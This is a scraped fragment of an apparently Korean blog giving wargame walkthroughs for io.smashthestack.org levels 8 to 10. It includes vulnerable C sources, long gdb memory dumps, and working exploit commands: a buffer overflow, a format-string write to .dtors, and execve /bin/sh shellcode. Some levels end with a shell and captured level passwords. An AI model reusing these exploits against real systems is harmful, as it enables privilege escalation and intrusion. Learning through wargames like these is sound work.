80386 32-bit [byjjoon@ByJJoon xor]$ ","date":"2010-03-23T14:53:22Z","permalink":"/2010/03/23/%EC%9E%90%EB%8F%99%EC%9C%BC%EB%A1%9C-xor-%ED%82%A4%EB%A5%BC-%EC%B0%BE%EC%95%84-%EB%94%94%EC%BD%94%EB%94%A9-%ED%95%B4%EC%A3%BC%EB%8A%94-%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8A%B8/","title":"자동으로 XOR 키를 찾아 디코딩 해주는 스크립트"},{"content":"Level 10 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; // Contributed by Torch int limit, c; int getebp() { __asm__(\u0026#34;movl %ebp, %eax\u0026#34;); } void f(char *s) { int *i; char buf[260]; i = (int *)getebp(); limit = *i - (int)buf + 1; for (c = 0; c \u0026lt; limit \u0026amp;\u0026amp; s[c] != \u0026#39;\\0\u0026#39;; c++) buf[c] = s[c]; } int main(int argc, char **argv) { int cookie = 1000; if (argc != 2) exit(1); f(argv[1]); if ( cookie == 0xdefaced ) { setresuid(geteuid(), geteuid(), geteuid()); execlp(\u0026#34;/bin/sh\u0026#34;, \u0026#34;/bin/sh\u0026#34;, \u0026#34;-i\u0026#34;, NULL); } return 0; } 소스를 살펴보면 일단 cookie 변수가 0x0defaced 로 셋팅이 되어야 되는것을 확인할 수 있다. 아마 이것은 f() 함수에서 오버플로우가 나서 될 것으로 보인다. 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 level10@io:/levels$ ./level10 `python -c \u0026#34;print \u0026#39;\\xed\\xac\\xef\\x0d\u0026#39;*100\u0026#34;` Segmentation fault level10@io:/levels$ ./level10 `python -c \u0026#34;print \u0026#39;\\x0d\\xed\\xac\\xef\u0026#39;*100\u0026#34;` sh-3.2$ id uid=1011(level11) gid=1010(level10) groups=1010(level10),1029(nosu) sh-3.2$ cat /home/level11/.pass budt0cgd sh-3.2$ 생각보다 쉽게 풀렸는데 당연히 주소가 안맞을거라 생각하고 조금씩 위치를 변경해주다 보면 맞아떨어져 쉘이 뜬다.\n","date":"2010-03-21T18:49:09Z","permalink":"/2010/03/21/iosmashthestackorg-level-10/","title":"io.smashthestack.org - Level 10"},{"content":"Level 9 문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char **argv) { int pad = 0xbabe; char buf[1024]; strncpy(buf, argv[1], sizeof(buf) - 1); printf(buf); return 0; } 포멧스트링 문제로 보인다. 확인해 보도록 하자.\n1 2 3 level9@io:/levels$ ./level09 %x bfffdec8level9@io:/levels$ ./level09 AAAA%x%x%x%x AAAAbfffdebe3ffbfffd94041414141level9@io:/levels$ 포멧스트링 문제가 맞는 것으로 보인다. 이제 포멧스트링 공격에 필요한 값들을 확인해 보자. 우선 .dtors의 주소!\n1 2 3 4 5 6 7 level9@io:/levels$ objdump -s -j .dtors level09 level09: file format elf32-i386 Contents of section .dtors: 80494d0 ffffffff 00000000 ........ level9@io:/levels$ 그리고 쉘코드의 주소!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 level9@io:/levels$ export SHELLCODE=`python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39;\u0026#34;` level9@io:/levels$ gdb -q level09 (gdb) b main Breakpoint 1 at 0x80483ad (gdb) r Starting program: /levels/level09 Breakpoint 1, 0x080483ad in main () Current language: auto; currently asm (gdb) x/32wx $esp 0xbfffd890: 0x0042b298 0x00000000 0x00000000 0xbfffd8b0 0xbfffd8a0: 0x0043f7f5 0x00000008 0x00000088 0x00445ff4 0xbfffd8b0: 0xbfffd8c8 0xbfffd900 0xbfffd91c 0x00000000 0xbfffd8c0: 0x00308000 0x00308b20 0xbfffd8f0 0x0043bbfa 0xbfffd8d0: 0x00000011 0x00000008 0x003086b0 0x00000024 0xbfffd8e0: 0x00000001 0x00000000 0x00000000 0x00000000 0xbfffd8f0: 0x00000000 0x00000000 0x00000208 0x0042b700 0xbfffd900: 0x00000088 0x00000000 0x00000000 0x00000000 (gdb) 0xbfffd910: 0x00b21d54 0x00433792 0x0068e000 0x00003893 0xbfffd920: 0x00445ff4 0xbfffdcd0 0x0042e555 0x004462a0 0xbfffd930: 0x00446820 0x00000000 0x00000000 0x00000000 0xbfffd940: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffd950: 0x00000000 0x00000000 0x004465d4 0x004465c8 0xbfffd960: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffd970: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffd980: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbfffd990: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffd9a0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffd9b0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffd9c0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffd9d0: 0x00000000 0x00000000 0x004462a0 0x00000000 0xbfffd9e0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffd9f0: 0x00443c43 0x00000000 0x00000000 0x00000000 0xbfffda00: 0x00000000 0x00000000 0x00000000 0x00446668 (gdb) 0xbfffda10: 0x00000000 0x00000100 0x003086b0 0x004462ac 0xbfffda20: 0x00446654 0x00000000 0x00010000 0x00000000 0xbfffda30: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffda40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffda50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffda60: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffda70: 0x00000000 0x00000003 0x00000000 0x00000000 0xbfffda80: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbfffda90: 0x694c0000 0x0078756e 0x00000000 0x00000000 0xbfffdaa0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdab0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdac0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdad0: 0x69000000 0x6d732e6f 0x74687361 0x74736568 0xbfffdae0: 0x2e6b6361 0x0067726f 0x00000000 0x00000000 0xbfffdaf0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdb00: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbfffdb10: 0x00000000 0x2e362e32 0x0011c27c 0x0d696910 0xbfffdb20: 0xbfffdb58 0x00433fc8 0x0012218a 0x0804821e 0xbfffdb30: 0x50372e36 0x00446938 0x00b21b18 0xbfff0002 0xbfffdb40: 0x00439748 0x080481e4 0x00446944 0x00445ff4 0xbfffdb50: 0x00b21aec 0x00000001 0xbfffdbd4 0x004343bd 0xbfffdb60: 0x20766f4e 0x30203632 0x33313a37 0x2039313a 0xbfffdb70: 0x0177ff8e 0x00442bdc 0xbfffdba0 0xbfffdba0 0xbfffdb80: 0xf63d4e2e 0x00b21848 0x07b1ea71 0x00000003 (gdb) 0xbfffdb90: 0x00113cbc 0x00113ab8 0x0804821d 0x0804820c 0xbfffdba0: 0x00000000 0x00000000 0x00000001 0x0000085c 0xbfffdbb0: 0x00b21b18 0x00b21848 0x0804820c 0x0011ca8c 0xbfffdbc0: 0x080481a4 0x00000001 0x00445ff4 0xf63d4e2e 0xbfffdbd0: 0x00446820 0xbfffdcc0 0x004345cf 0xbfffdcb0 0xbfffdbe0: 0x080481a4 0xbfffdca4 0x004467c4 0x00000000 0xbfffdbf0: 0x00b21b18 0x00000001 0x00000000 0x00000001 0xbfffdc00: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbfffdc10: 0x00000000 0x00000000 0xbfffdcb0 0xbfffdca4 0xbfffdc20: 0x00000000 0x00000000 0x00000000 0xbfffdcf0 0xbfffdc30: 0x00446668 0x0804820c 0x00000000 0x00000000 0xbfffdc40: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdc50: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdc60: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffdc70: 0x00000000 0x00000000 0xbfffde24 0x0017a08e 0xbfffdc80: 0x00249ff4 0x080495a8 0xbfffdc98 0x080482a8 (gdb) 0xbfffdc90: 0x00249ff4 0x080495a8 0xbfffdcb8 0x08048429 0xbfffdca0: 0x00439250 0x08048300 0x0804841b 0x00249ff4 0xbfffdcb0: 0x08048410 0x08048300 0xbfffdd18 0x00126455 0xbfffdcc0: 0x00000001 0xbfffdd44 0xbfffdd4c 0x00b21b18 0xbfffdcd0: 0x00000001 0x00000001 0x00000000 0x0804820c 0xbfffdce0: 0x00249ff4 0x08048410 0x08048300 0xbfffdd18 0xbfffdcf0: 0xebb98081 0x30c835fe 0x00000000 0x00000000 0xbfffdd00: 0x00000000 0x0043e2e0 0x0012637d 0x00445ff4 (gdb) 0xbfffdd10: 0x00000001 0x08048300 0x00000000 0x08048321 0xbfffdd20: 0x080483a4 0x00000001 0xbfffdd44 0x08048410 0xbfffdd30: 0x08048400 0x00439250 0xbfffdd3c 0x00443ae5 0xbfffdd40: 0x00000001 0xbfffde24 0x00000000 0xbfffde34 0xbfffdd50: 0xbfffdec1 0xbfffded1 0xbfffdedc 0xbfffdefe 0xbfffdd60: 0xbfffdf11 0xbfffdf1d 0xbfffdf29 0xbfffdf56 0xbfffdd70: 0xbfffdf6c 0xbfffdf7b 0xbfffdf87 0xbfffdf90 0xbfffdd80: 0xbfffdfa2 0xbfffdfaa 0xbfffdfb9 0x00000000 (gdb) 0xbfffdd90: 0x00000010 0xbfebfbff 0x00000006 0x00001000 0xbfffdda0: 0x00000011 0x00000064 0x00000003 0x08048034 0xbfffddb0: 0x00000004 0x00000020 0x00000005 0x00000007 0xbfffddc0: 0x00000007 0x0042b000 0x00000008 0x00000000 0xbfffddd0: 0x00000009 0x08048300 0x0000000b 0x000003f1 0xbfffdde0: 0x0000000c 0x000003f1 0x0000000d 0x000003f1 0xbfffddf0: 0x0000000e 0x000003f1 0x00000017 0x00000000 0xbfffde00: 0x0000000f 0xbfffde1b 0x00000000 0x00000000 (gdb) 0xbfffde10: 0x00000000 0x00000000 0x69000000 0x00363836 0xbfffde20: 0x00000000 0x76656c2f 0x2f736c65 0x6576656c 0xbfffde30: 0x0039306c 0x4c454853 0x444f434c 0x90903d45 0xbfffde40: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde50: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde60: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbfffde90: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffdea0: 0x176a9090 0xcddb3158 0x580b6a80 0x2f685299 0xbfffdeb0: 0x6868732f 0x6e69622f 0x5352e389 0x80cde189 0xbfffdec0: 0x45485300 0x2f3d4c4c 0x2f6e6962 0x68736162 0xbfffded0: 0x52455400 0x696c3d4d 0x0078756e 0x5f485353 0xbfffdee0: 0x45494c43 0x323d544e 0x322e3131 0x312e3831 0xbfffdef0: 0x39392e36 0x32353320 0x32203638 0x53530032 0xbfffdf00: 0x54545f48 0x642f3d59 0x702f7665 0x342f7374 (gdb) q The program is running. Exit anyway? (y or n) y level9@io:/levels$ 이제 필요한 주소를 모두 확인하였다.\n.dtors : 0x080494d0 Cleanup : 0x080494d4 SHELLCODE : 0xbfffde80\nde80 : 56960 56960 - (8 * 3) - 16 = 56920 1bfff - de80 = 57727\n이제 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 level9@io:/levels$ ./level09 `python -c \u0026#34;print \u0026#39;AAAA\u0026#39; + \u0026#39;\\xd4\\x94\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\xd6\\x94\\x04\\x08\u0026#39; + \u0026#39;%8x\u0026#39;*3 + \u0026#39;%56920c%x\u0026#39; + \u0026#39;%57727c%x\u0026#39;\u0026#34;` AAAA?BBBB?bfffde12 3ffbfffd890 . . . [생략] . . A80494d4 . . [생략] . . . B80494d6level9@io:/levels$ 우리가 원하는 주소로 나온것을 확인할 수 있다. 이제 %x를 %n으로 변경하여 다시 공격해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 level9@io:/levels$ ./level09 `python -c \u0026#34;print \u0026#39;AAAA\u0026#39; + \u0026#39;\\xd4\\x94\\x04\\x08\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\xd6\\x94\\x04\\x08\u0026#39; + \u0026#39;%8x\u0026#39;*3 + \u0026#39;%56920c%n\u0026#39; + \u0026#39;%57727c%n\u0026#39;\u0026#34;` AAAA?BBBB?bfffde12 3ffbfffd890 . . . [생략] . . . sh-3.2$ id uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9),1029(nosu) sh-3.2$ cat /home/level10/.pass uawurxf5 sh-3.2$ ","date":"2010-03-21T18:41:46Z","permalink":"/2010/03/21/iosmashthestackorg-level-9/","title":"io.smashthestack.org - Level 9"},{"content":"Level 8 문제 소스는 아래와 같다. 우선 gdb를 이용하여 디버깅을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 level8@io:/tmp/by8$ gdb /levels/level08 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (gdb) disassemble main Dump of assembler code for function main: 0x08048400 \u0026lt;main+0\u0026gt;: lea 0x4(%esp),%ecx 0x08048404 \u0026lt;main+4\u0026gt;: and $0xfffffff0,%esp 0x08048407 \u0026lt;main+7\u0026gt;: pushl -0x4(%ecx) 0x0804840a \u0026lt;main+10\u0026gt;: push %ebp 0x0804840b \u0026lt;main+11\u0026gt;: mov %esp,%ebp 0x0804840d \u0026lt;main+13\u0026gt;: push %ecx 0x0804840e \u0026lt;main+14\u0026gt;: sub $0x4,%esp 0x08048411 \u0026lt;main+17\u0026gt;: mov 0x4(%ecx),%eax 0x08048414 \u0026lt;main+20\u0026gt;: mov %eax,(%esp) 0x08048417 \u0026lt;main+23\u0026gt;: call 0x8048394 \u0026lt;do_the_nasty\u0026gt; 0x0804841c \u0026lt;main+28\u0026gt;: mov $0x0,%eax 0x08048421 \u0026lt;main+33\u0026gt;: add $0x4,%esp 0x08048424 \u0026lt;main+36\u0026gt;: pop %ecx 0x08048425 \u0026lt;main+37\u0026gt;: pop %ebp 0x08048426 \u0026lt;main+38\u0026gt;: lea -0x4(%ecx),%esp 0x08048429 \u0026lt;main+41\u0026gt;: ret End of assembler dump. (gdb) b do_the_nasty Breakpoint 1 at 0x8048398 (gdb) r `python -c \u0026#34;print \u0026#39;A\u0026#39;*32 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*10\u0026#34;` Starting program: /levels/level08 `python -c \u0026#34;print \u0026#39;A\u0026#39;*32 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*10\u0026#34;` Breakpoint 1, 0x08048398 in do_the_nasty () (gdb) n Single stepping until exit from function do_the_nasty, which has no line number information. 0x0804841c in main () (gdb) x/32wx $esp 0xbfffdc70: 0xbfffdd14 0xbfffdc90 0xbfffdce8 0x42536455 0xbfffdc80: 0x42424242 0x42424242 0xbfff0042 0x00536455 0xbfffdc90: 0x00000003 0xbfffdd14 0xbfffdd24 0x006e4b18 0xbfffdca0: 0x00000001 0x00000001 0x00000000 0x0804820d 0xbfffdcb0: 0x00659ff4 0x08048480 0x080482f0 0xbfffdce8 0xbfffdcc0: 0xebb92081 0xb2c835fe 0x00000000 0x00000000 0xbfffdcd0: 0x00000000 0x00da02e0 0x0053637d 0x00da7ff4 0xbfffdce0: 0x00000003 0x080482f0 0x00000000 0x08048311 (gdb) x/32wx $esp-50 0xbfffdc3e: 0xdc440000 0x4141bfff 0x41414141 0x41414141 0xbfffdc4e: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdc5e: 0x41414141 0x82f04141 0xdc780804 0x841cbfff 0xbfffdc6e: 0xdd140804 0xdc90bfff 0xdce8bfff 0x6455bfff 0xbfffdc7e: 0x42424253 0x42424242 0x00424242 0x6455bfff 0xbfffdc8e: 0x00030053 0xdd140000 0xdd24bfff 0x4b18bfff 0xbfffdc9e: 0x0001006e 0x00010000 0x00000000 0x820d0000 0xbfffdcae: 0x9ff40804 0x84800065 0x82f00804 0xdce80804 (gdb) x/32wx $esp-48 0xbfffdc40: 0xbfffdc44 0x41414141 0x41414141 0x41414141 0xbfffdc50: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdc60: 0x41414141 0x080482f0 0xbfffdc78 0x0804841c 0xbfffdc70: 0xbfffdd14 0xbfffdc90 0xbfffdce8 0x42536455 0xbfffdc80: 0x42424242 0x42424242 0xbfff0042 0x00536455 0xbfffdc90: 0x00000003 0xbfffdd14 0xbfffdd24 0x006e4b18 0xbfffdca0: 0x00000001 0x00000001 0x00000000 0x0804820d 0xbfffdcb0: 0x00659ff4 0x08048480 0x080482f0 0xbfffdce8 (gdb) x/32wx 0xbfffdc78 0xbfffdc78: 0xbfffdce8 0x42536455 0x42424242 0x42424242 0xbfffdc88: 0xbfff0042 0x00536455 0x00000003 0xbfffdd14 0xbfffdc98: 0xbfffdd24 0x006e4b18 0x00000001 0x00000001 0xbfffdca8: 0x00000000 0x0804820d 0x00659ff4 0x08048480 0xbfffdcb8: 0x080482f0 0xbfffdce8 0xebb92081 0xb2c835fe 0xbfffdcc8: 0x00000000 0x00000000 0x00000000 0x00da02e0 0xbfffdcd8: 0x0053637d 0x00da7ff4 0x00000003 0x080482f0 0xbfffdce8: 0x00000000 0x08048311 0x08048400 0x00000003 (gdb) x/32wx 0xbfffdce8 0xbfffdce8: 0x00000000 0x08048311 0x08048400 0x00000003 0xbfffdcf8: 0xbfffdd14 0x08048480 0x08048430 0x00d9b250 0xbfffdd08: 0xbfffdd0c 0x00da5ae5 0x00000003 0xbfffddf7 0xbfffdd18: 0xbfffde07 0xbfffde28 0x00000000 0xbfffde33 0xbfffdd28: 0xbfffdec0 0xbfffded0 0xbfffdedb 0xbfffdefd 0xbfffdd38: 0xbfffdf10 0xbfffdf1c 0xbfffdf28 0xbfffdf55 0xbfffdd48: 0xbfffdf6b 0xbfffdf7a 0xbfffdf87 0xbfffdf90 0xbfffdd58: 0xbfffdfa2 0xbfffdfaa 0xbfffdfb9 0x00000000 (gdb) q The program is running. Exit anyway? (y or n) y level8@io:/tmp/by8$ 위에서 보면 argv[2]에 좀 더 값을 주면 흐름을 바꿀 수 있을 것으로 보인다. 다시 한번 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 level8@io:/tmp/by8$ gdb /levels/level08 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (gdb) disassemble main Dump of assembler code for function main: 0x08048400 \u0026lt;main+0\u0026gt;: lea 0x4(%esp),%ecx 0x08048404 \u0026lt;main+4\u0026gt;: and $0xfffffff0,%esp 0x08048407 \u0026lt;main+7\u0026gt;: pushl -0x4(%ecx) 0x0804840a \u0026lt;main+10\u0026gt;: push %ebp 0x0804840b \u0026lt;main+11\u0026gt;: mov %esp,%ebp 0x0804840d \u0026lt;main+13\u0026gt;: push %ecx 0x0804840e \u0026lt;main+14\u0026gt;: sub $0x4,%esp 0x08048411 \u0026lt;main+17\u0026gt;: mov 0x4(%ecx),%eax 0x08048414 \u0026lt;main+20\u0026gt;: mov %eax,(%esp) 0x08048417 \u0026lt;main+23\u0026gt;: call 0x8048394 \u0026lt;do_the_nasty\u0026gt; 0x0804841c \u0026lt;main+28\u0026gt;: mov $0x0,%eax 0x08048421 \u0026lt;main+33\u0026gt;: add $0x4,%esp 0x08048424 \u0026lt;main+36\u0026gt;: pop %ecx 0x08048425 \u0026lt;main+37\u0026gt;: pop %ebp 0x08048426 \u0026lt;main+38\u0026gt;: lea -0x4(%ecx),%esp 0x08048429 \u0026lt;main+41\u0026gt;: ret End of assembler dump. (gdb) b do_the_nasty Breakpoint 1 at 0x8048398 (gdb) r `python -c \u0026#34;print \u0026#39;A\u0026#39;*32 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*200\u0026#34;` Starting program: /levels/level08 `python -c \u0026#34;print \u0026#39;A\u0026#39;*32 + \u0026#39; \u0026#39; + \u0026#39;B\u0026#39;*200\u0026#34;` Breakpoint 1, 0x08048398 in do_the_nasty () (gdb) n Single stepping until exit from function do_the_nasty, which has no line number information. 0x0804841c in main () (gdb) x/32wx $esp 0xbfffdbb0: 0xbfffdc54 0xbfffdbd0 0xbfffdc28 0x423e0455 0xbfffdbc0: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbd0: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbe0: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbf0: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc00: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc10: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc20: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb) x/32wx $esp-50 0xbfffdb7e: 0xdb840000 0x4141bfff 0x41414141 0x41414141 0xbfffdb8e: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdb9e: 0x41414141 0x82f04141 0xdbb80804 0x841cbfff 0xbfffdbae: 0xdc540804 0xdbd0bfff 0xdc28bfff 0x0455bfff 0xbfffdbbe: 0x4242423e 0x42424242 0x42424242 0x42424242 0xbfffdbce: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbde: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbee: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb) x/32wx $esp-48 0xbfffdb80: 0xbfffdb84 0x41414141 0x41414141 0x41414141 0xbfffdb90: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffdba0: 0x41414141 0x080482f0 0xbfffdbb8 0x0804841c 0xbfffdbb0: 0xbfffdc54 0xbfffdbd0 0xbfffdc28 0x423e0455 0xbfffdbc0: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbd0: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbe0: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbf0: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb) x/32wx 0xbfffdbb8 0xbfffdbb8: 0xbfffdc28 0x423e0455 0x42424242 0x42424242 0xbfffdbc8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbd8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbe8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdbf8: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc08: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc18: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc28: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb) x/32wx 0xbfffdc28 0xbfffdc28: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc38: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc48: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc58: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc68: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffdc78: 0x42424242 0x42424242 0x42424242 0x00424242 0xbfffdc88: 0xbfffdf6b 0xbfffdf7a 0xbfffdf87 0xbfffdf90 0xbfffdc98: 0xbfffdfa2 0xbfffdfaa 0xbfffdfb9 0x00000000 (gdb) 원하는대로 흐름이 넘어온 것을 확인할 수 있었다. 따라서 [A32] + [SHELLCODE의 주소 200] 으로 공격을 시도해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 level8@io:/tmp/by8$ export SHELLCODE=`python -c \u0026#34;print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39;\u0026#34;` level8@io:/tmp/by8$ gdb /levels/level08 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (gdb) b main Breakpoint 1 at 0x804840e (gdb) r Starting program: /levels/level08 Breakpoint 1, 0x0804840e in main () (gdb) x/32wx $esp 0xbfffdca4: 0xbfffdcc0 0xbfffdd18 0x00126455 0x08048480 0xbfffdcb4: 0x080482f0 0xbfffdd18 0x00126455 0x00000001 0xbfffdcc4: 0xbfffdd44 0xbfffdd4c 0x005c7b18 0x00000001 0xbfffdcd4: 0x00000001 0x00000000 0x0804820d 0x00249ff4 0xbfffdce4: 0x08048480 0x080482f0 0xbfffdd18 0xebb98081 0xbfffdcf4: 0x30c835fe 0x00000000 0x00000000 0x00000000 0xbfffdd04: 0x00d0d2e0 0x0012637d 0x00d14ff4 0x00000001 0xbfffdd14: 0x080482f0 0x00000000 0x08048311 0x08048400 (gdb) 0xbfffdd24: 0x00000001 0xbfffdd44 0x08048480 0x08048430 0xbfffdd34: 0x00d08250 0xbfffdd3c 0x00d12ae5 0x00000001 0xbfffdd44: 0xbfffde23 0x00000000 0xbfffde33 0xbfffdec0 0xbfffdd54: 0xbfffded0 0xbfffdedb 0xbfffdefd 0xbfffdf10 0xbfffdd64: 0xbfffdf1c 0xbfffdf28 0xbfffdf55 0xbfffdf6b 0xbfffdd74: 0xbfffdf7a 0xbfffdf87 0xbfffdf90 0xbfffdfa2 0xbfffdd84: 0xbfffdfaa 0xbfffdfb9 0x00000000 0x00000010 0xbfffdd94: 0xbfebfbff 0x00000006 0x00001000 0x00000011 (gdb) 0xbfffdda4: 0x00000064 0x00000003 0x08048034 0x00000004 0xbfffddb4: 0x00000020 0x00000005 0x00000007 0x00000007 0xbfffddc4: 0x00cfa000 0x00000008 0x00000000 0x00000009 0xbfffddd4: 0x080482f0 0x0000000b 0x000003f0 0x0000000c 0xbfffdde4: 0x000003f0 0x0000000d 0x000003f0 0x0000000e 0xbfffddf4: 0x000003f0 0x00000017 0x00000000 0x0000000f 0xbfffde04: 0xbfffde1b 0x00000000 0x00000000 0x00000000 0xbfffde14: 0x00000000 0x69000000 0x00363836 0x2f000000 (gdb) 0xbfffde24: 0x6576656c 0x6c2f736c 0x6c657665 0x53003830 0xbfffde34: 0x4c4c4548 0x45444f43 0x9090903d 0x90909090 0xbfffde44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde74: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde84: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffde94: 0x90909090 0x90909090 0x90909090 0x58176a90 (gdb) q The program is running. Exit anyway? (y or n) y level8@io:/tmp/by8$ /levels/level08 `python -c \u0026#34;print \u0026#39;A\u0026#39;*32 + \u0026#39; \u0026#39; + \u0026#39;\\x94\\xde\\xff\\xbf\u0026#39;*200\u0026#34;` Segmentation fault level8@io:/tmp/by8$ 